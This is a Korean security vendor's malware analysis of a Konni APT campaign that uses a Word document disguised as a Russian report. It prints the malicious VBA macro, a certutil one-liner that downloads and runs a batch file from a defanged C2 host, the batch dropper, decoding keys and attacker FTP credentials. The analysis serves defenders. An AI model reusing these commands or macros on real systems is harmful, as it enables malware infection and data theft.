코니(Konni) APT 조직, 러시아 문서로 위장한 공격 등장

By 알약(Alyac)

Published: 2019-08-19 · Archived: 2026-04-05 21:14:46 UTC

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC)입니다.

지난 08월 16일(금) 러시아어 파일명을 쓰는 악성파일이 보안 모니터링 과정 중에 발견되었습니다. 그러나 해당 악성문서는 한국어 기반으로 제작되었습니다.

ESRC는 공격벡터와 코드기법 등을 종합적으로 분석한 결과 코니(Konni) 시리즈로 분석을 완료하였습니다.

코니 시리즈는 수년간 꾸준히 발견되는 위협 캠페인 중에 하나이며, 06월 10일 【[스페셜 리포트] APT 캠페인 'Konni' & 'Kimsuky' 조직의 공통점 발견】 리포트를 공개한 바 있습니다.

■ 러시아 문서로 위장한 APT 공격 분석

파일명	작성자	최종 수정자	최종 수정일	MD5

О ситуации на Корейском полуострове и перспективах диалога между США и КНДР.doc	000	Windows User	2019-07-12 09:30:39 (UTC)	660a640e702606341ab0d42724380322

식별된 악성파일은 MS Word 문서파일로 파일명은 'О ситуации на Корейском полуострове и перспективах диалога между США и КНДР.doc' 입니다.

이 러시아어를 구글 번역기에 적용해 한국어로 변환하면 '한반도의 상황과 미국과 북한의 대화전망' 표현이 됩니다.

[그림 1] 악성파일명 러시아어 구글 번역기 화면

문서파일 내부 코드를 보면, 'ObjectPool' 스트림과 VBA 매크로가 포함된 것을 알 수 있습니다. 악성 문서파일은 매크로 기능을 통해 악성코드가 작동하고, 오브젝트에 포함된 코드를 통해 명령제어(C2) 서버로 연결을 시도합니다.

[그림 2] DOC 문서 내부 구조 화면

악성 문서파일이 실행되면 다음과 같이 러시아어로 작성된 화면이 흐리게 보이고, 보안 경고 메시지가 보여집니다.

악성 DOC 문서의 본문을 흐리게 만든 이유는 이용자로 하여금 매크로 실행을 유도하는 기법입니다.

만약, 이용자가 문서화면에 이상함을 느껴 [콘텐츠 사용] 버튼을 클릭하게 되면 정상적인 문서 화면이 나타나면서, 백그라운드로 악성 매크로 코드가 실행됩니다.

[그림 3] 악성 문서가 실행된 후 매크로 실행 전후 비교

DOC 문서는 본문이 러시아어로 작성되어 있지만, 문서 내부 코드페이지는 한국어(949)가 사용되었습니다. 공격자가 악성코드를 작성할 때 한국어 기반에서 만들었다는 점을 추정할 수 있는 단서 중에 하나입니다.

[그림 4] 악성파일 내부 한글 인코딩 사용

매크로 코드는 다음과 같이 구성되어 있는데, 과거 코니 시리즈에서 유사한 사례가 포착된 바 있습니다. 이 내용은 아랫부분에 포함된 유사 비교 내용을 참고해 주시기 바랍니다.

```
' module: ThisDocument

Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "1Normal.ThisDocument"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True

Attribute VB_Customizable = True

Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Control = "TextBox2, 1, 1, MSForms, TextBox"

Attribute VB_Control = "TextBox3, 2, 2, MSForms, TextBox"

Public Function Hex2Chr(ByVal HexValue As String) As String
```

```
For i = 1 To Len(HexValue)

Num = Mid(HexValue, i, 2)

Value = Value & Chr(Val("&h" & Num))

i = i + 1

Next i

Hex2Chr = Value

End Function

Private Sub Document_Open()

Dim nResult As Long

Dim sCmdLine As String

With ActiveDocument.Content

.Font.ColorIndex = wdBlack

End With

If (TextBox1.Text <> "") Then

sCmdLine = Environ("windir")

nResult = InStr(Application.Path, "x86")

If nResult <> 0 Then

sCmdLine = sCmdLine & Hex2Chr(TextBox1.Text)

Else

sCmdLine = sCmdLine & Hex2Chr(TextBox2.Text)

End If

sCmdLine = sCmdLine + Hex2Chr(TextBox3.Text)

nResult = Shell(sCmdLine, vbHide)

TextBox1.Text = ""

TextBox2.Text = ""

TextBox3.Text = ""
```

ActiveDocument.Save

End If

End Sub

매크로 코드 명령에 의해 'ObjectPool' 스트림에 포함되어 있는 'contents' 오브젝트가 실행됩니다. 이 코드 내부에는 다음과 같이 특정 HEX 값이 포함되어 있습니다.

[그림 5] DOC 오브젝트에 포함되어 있는 HEX 코드

이 HEX 코드들의 ASCII 코드를 스트링 형태로 살펴보면 다음과 같이 나타납니다.

[그림 5-1] HEX 코드를 ASCII 코드로 확인한 화면

이 코드를 문자열로 변환하면 다음과 같이 매크로에 의해 접속되는 C2 서버와 배치파일 명령을 볼 수 있게 됩니다.

copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% && mx -urlcache -split -f http://handicap.eu5[.]org/1.txt && mx -decode -f 1.txt 1.bat && del /f /q 1.txt && 1.bat

공격자가 사용한 C2 서버는 'handicap.eu5[.]org' 주소이며, '1.txt' 파일을 불러오고, '1.txt' 파일은 Base64 코드로 인코딩되어 있습니다.

해당 코드는 시스템 경로에 존재하는 정상파일 'certutil.exe' 파일을 임시폴더(temp) 경로에 'mx.exe' 파일명으로 복사한 후 '1.txt' Base64 코드를 디코딩하게 됩니다.

[그림 6] '1.txt' Base64 인코딩 화면

디코딩된 '1.txt' 파일은 배치파일 명령어 조합으로 다음과 같이 C2 주소로 접속해 파일을 받고, '2.txt', '3.txt' 파일을 로딩하게 됩니다.

```
@echo off

if not exist "%PROGRAMFILES(x86)%" (

mx -urlcache -split -f "http://handicap.eu5[.]org/2.txt" > nul

mx -decode -f 2.txt setup.cab > nul

del /f /q 2.txt > nul

) else (
```

```
mx -urlcache -split -f "http://handicap.eu5[.]org/3.txt" > nul

mx -decode -f 3.txt setup.cab > nul

del /f /q 3.txt > nul

)

del /f /q mx.exe > nul

if not exist "setup.cab" (goto EXIT)

expand setup.cab -F:* "%TEMP%" > nul

del /f /q setup.cab > nul

:CHECK_ADMIN

net session > nul

if %errorlevel% equ 0 (goto ADMIN) else (goto NONADMIN)

:ADMIN

del /f /q "%TEMP%\mshlpweb.dll" > nul

"%TEMP%\install.bat" > nul

goto EXIT

:NONADMIN

rundll32 "%TEMP%\mshlpweb.dll", EntryPoint "%TEMP%\install.bat"

goto EXIT

:EXIT

del /f /q "%~dpnx0" > nul
```

'2.txt', '3.txt' 파일도 동일하게 Base64 인코딩된 파일이며, 복호화를 거친 후, 'setup.cab' 압축파일로 생성되고, 내부에 존재하는 최종 악성 페이로드를 로드하게 됩니다.

각각 32비트, 64비트용 동일 기능의 악성코드가 포함되어 있습니다.

http://handicap.eu5[.]org/1.txt - BAT

http://handicap.eu5[.]org/2.txt - 32bit

http://handicap.eu5[.]org/3.txt - 64bit

http://handicap.eu5[.]org/4.txt - C2

[그림 7] Cab 압축파일 내부 화면

'mshlpsrvc.dll' 파일은 UPX 패커로 압축이 되어 있으며, 'mshlpsrvc.ini' 파일을 디코딩하여, 또 다른 C2 서버로 접속을 하게 됩니다.

- http://handicap.eu5[.]org/4.txt

Base64 디코딩시 커스텀 데이터를 비교하게 됩니다.

인코딩된 코드를 디코딩하는데 사용되는 키는 다음과 같습니다.

- 'qaR4sOz2bJ8fxZMFwUK%l7rLIQpucWk90ED=hdGy31nXt5CiYATVojeB6gNH-PvSm'

'4.txt' 파일 역시 동일하게 인코딩되어 있으며 Custom Base64 디코딩시, 이 코드에 의해 FTP 서버로 접속을 시도하게 됩니다. '4.txt' 파일은 공격자 의도에 따라 여러차례 변경이 될 수 있으며, 실제 변경된 사례가 포착되었습니다.

초기에 사용된 파일에는 다음과 같은 FTP 서버 계정이 사용되었고, 계정이 변경이 된 점도 확인되었습니다.

ftpupload[.]net

b8_24171239 | adfgvx

b7_24340052 | 123qweASDZXC

[그림 8] handicap 서버에 등록되어 있는 '4.txt' 파일 화면

공격자는 '4.txt' 파일을 이용해 자유자재로 정보탈취 제어를 수행할 수 있으며, 감염 시스템의 정보를 수집하게 됩니다.

■ 유사 악성 문서 비교

ESRC는 이러한 공격 흐름을 2019년 01월 21일 제작된 코니(Konni) 시리즈에서 목격한 바 있습니다.

파일명	작성자	최종 수정자	최종 수정일	MD5
geopol18.doc igtaud.doc	N/A	Windows User	2019-01-21 23:36:00 (UTC)	68b080cdc748e9357e75a65fba30eaa7

당시 발견된 악성파일은 다음과 같은 화면을 보여주며, 1차 세계대전 관련 내용을 러시아어로 담고 있습니다. 관련 분석은 'Tencent Security'에서 공개한 바 있습니다.

[그림 9] 러시아어로 내용을 담고 있는 악성문서 화면

지난 01월 발견된 악성문서 역시 러시아어로 내용을 담고 있지만, 동일하게 코드페이지가 한글(949)로 설정되어 있습니다.

또한 매크로 코드도 'О ситуации на Корейском полуострове и перспективах диалога между США и КНДР.doc' 사례와 거의 동일합니다.

두개의 매크로 코드를 비교해 보면 동일한 패턴으로 작성이 되었으며, C2가 숨겨진 곳도 일치합니다. 물론 일부 난독화 방식에서 변화가 존재합니다.

[그림 10] 매크로 코드 비교 화면

'geopol18.doc' 파일도 'ObjectPool' 경로에 다음과 같은 C2 코드가 포함되어 있으나, 이번 'О ситуации на Корейском полуострове и перспективах диалога между США и КНДР.doc' 파일처럼 HEX 코드로 숨겨져 있진 않습니다.

[그림 11] 'content' 파일에 숨겨져 있는 C2 코드 화면

당시 사용된 C2 서버는 코니 시리즈에서 계속 사용된 바 있는 '1apps[.]com' 도메인이 사용되었습니다.

- http://clean.1apps[.]com/1.txt - BAT

- http://clean.1apps[.]com/2.txt - 32bit

- http://clean.1apps[.]com/3.txt - 64bit

- http://clean.1apps[.]com/4.txt - C2

'geopol18.doc' 파일에 의해서 받아지는 '2.txt', '3.txt' 파일도 동일하게 CAB 압축파일이며, 내부에는 'compvgk.dll', 'compvgk.ini', 'compwjd.dll', 'install.bat' 등이 포함되어 있습니다.

'compvgk.dll' 파일도 UPX로 패킹되어 있는데, 내부에 다음과 같은 인코딩 키가 포함되어 있습니다.

- 'HnhD1C2Zo5r4le7LSqck38ROw0NPpF=G6xjBUyuIVXMz-TE/QmAvK9YdftJigasWb'

디코딩 루틴을 비교해 보면, 다음과 같이 키만 변경이 되었고 동일하다는 것을 알 수 있습니다.

[그림 12] 디코딩 루틴 비교 화면

당시 인코딩 기법을 통해 '4.txt' 코드를 로드해 복호화를 수행하는데, 이때도 동일한 FTP 서버가 공격에 사용되었습니다. 이때 사용된 암호는 'tailung' 문자열이 쓰였는데, 애니메이션 영화 쿵푸팬더에서 타이거로

나오는 캐릭터명이기도 합니다.

'4.txt' 파일에는 Custom Base64 디코딩에 사용되는 키 코드가 포함되어 있으며, FTP 접속 정보를 보유하고 있습니다.

ftpupload[.]net

b9_23329410 | tailung

[그림 13] 인코딩된 C2 복호화 비교 화면

이렇게 동일한 APT 공격 조직이 조금씩 코드를 변경하면서 유포 중인 것을 확인할 수 있습니다.

■ 의도적으로 조작된 변종

2019년 06월 14일, 싱가폴 지역에서 바이러스토탈로 업로드된 코니 변종이 식별됩니다.

바이러스토탈 업로드 소스	MD5
619ac026 (web)	c313a3aca90a614dd0ff6ce28c6ae2f0

이 변종 코드를 비교해 보면, 'geopol18.doc' 파일에서 하드코딩된 C2 주소만 특정 보안업체 도메인으로 의도적으로 조작한 것을 확인할 수 있습니다.

각 악성 DOC 문서에 포함된 ASCII 코드의 스트링 데이터를 비교해 보면, DOC 구조적으로 제작한 것이 아님을 추정할 수 있습니다.

테스트 목적 등으로 수정되어 업로드되었을 가능성이 있어 보이며, 위협배후를 조사하는데 혼선을 야기할 수 있어 위협 인텔리전스 리서치에 각별한 주의가 필요해 보입니다.

[그림 14] 유사 변종 C2 비교 화면

ESRC에서는 코니(Konni) 캠페인을 추적 조사하는 과정에서 최근까지 김수키(Kimsuky) APT 그룹과 연관되는 단서들을 지속적으로 발견하고 있습니다.

두 APT 조직 간의 연관성에 대해 아직 다른 곳에서는 언급되지 않았지만, 단순 우연으로 보기에는 어려운 부분들이 많이 있습니다.

물론, 하나의 APT 공격조직이 고도의 전략으로 상대방 C2 서버까지 은밀하게 침투해 위변조 작업까지 한 것이 아니라면, 동일한 웹쉘(Webshell) 등이 사용될 가능성은 낮아 보입니다.

코니 시리즈의 캠페인이 지속적으로 발견되고 있다는 점에서, 꾸준한 관찰이 필요해 보입니다.